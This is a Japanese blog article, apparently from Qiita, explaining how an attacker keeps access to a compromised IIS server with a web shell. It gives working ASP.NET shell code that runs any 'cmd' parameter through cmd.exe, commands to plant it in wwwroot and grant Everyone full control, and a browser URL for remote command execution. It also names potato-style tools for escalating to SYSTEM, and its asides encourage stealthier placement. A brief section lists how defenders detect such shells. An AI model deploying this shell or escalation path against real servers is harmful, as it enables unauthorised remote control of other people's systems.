1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Web Shell を用いた永続化(Persistence)完全解説

1
Posted at

はじめに

Webサーバに侵入した後、継続的にアクセスを維持する(Persistence) ための代表的な手法の一つが「Web Shell」です。

特に IIS 環境では、ASP.NETベースのWeb Shellを設置することで、HTTP経由でコマンド実行が可能になります。


Web Shellとは?

Web Shellとは:

Webサーバ上に設置された「リモートコマンド実行用スクリプト」

つまり、ブラウザからこういうことができる

  • OSコマンド実行
  • ファイル操作
  • 権限昇格の踏み台
  • C2通信の入口

攻撃の基本フロー


① Web Shellの準備

ASP.NET環境では .aspx のWeb Shellを使用する:

例:

<%@ Page Language="C#" %>
<%
    if (Request["cmd"] != null) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]);
    }
%>

超シンプルだけど、普通に動く


② Webルートに配置

IISのデフォルトWebルート:

C:\inetpub\wwwroot

配置コマンド:

C:\> move shell.aspx C:\inetpub\wwwroot\

実行ユーザについて

IISでは通常:

iis apppool\defaultapppool

一見弱そうだけど…


③ 権限問題の対応

たまに起きる「アクセス拒否」問題

icacls shell.aspx /grant Everyone:F

雑だけど動く(本番だともっとステルスにやる)


④ Web Shellの実行

ブラウザからアクセス:

http://TARGET_IP/shell.aspx?cmd=whoami

これでWeb経由のRCE完成


⑤ 権限昇格のチャンス

このユーザは重要

SeImpersonatePrivilege

これがあると:

  • Juicy Potato
  • PrintSpoofer
  • RoguePotato

などで SYSTEM昇格可能

つまり:

Web Shell → SYSTEM は普通に現実的ルート


Blue Teamに見つかる理由

  • ファイル変更検知(FIM)
  • Webディレクトリ監視
  • ハッシュチェック
  • SIEMログ監視

特に wwwroot は「監視の中心地」


まとめ

項目 内容
手法 Web Shell配置
場所 C:\inetpub\wwwroot
実行方法 HTTPアクセス
権限 iis apppool
強み 簡単・即実行
弱点 検知されやすい

Web Shellは「初心者でも使える最強ツール」だけど、
同時に「一番バレやすい古典技術」でもある。

だからプロはこう考える:

「置く」じゃなくて「溶け込ませる」

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?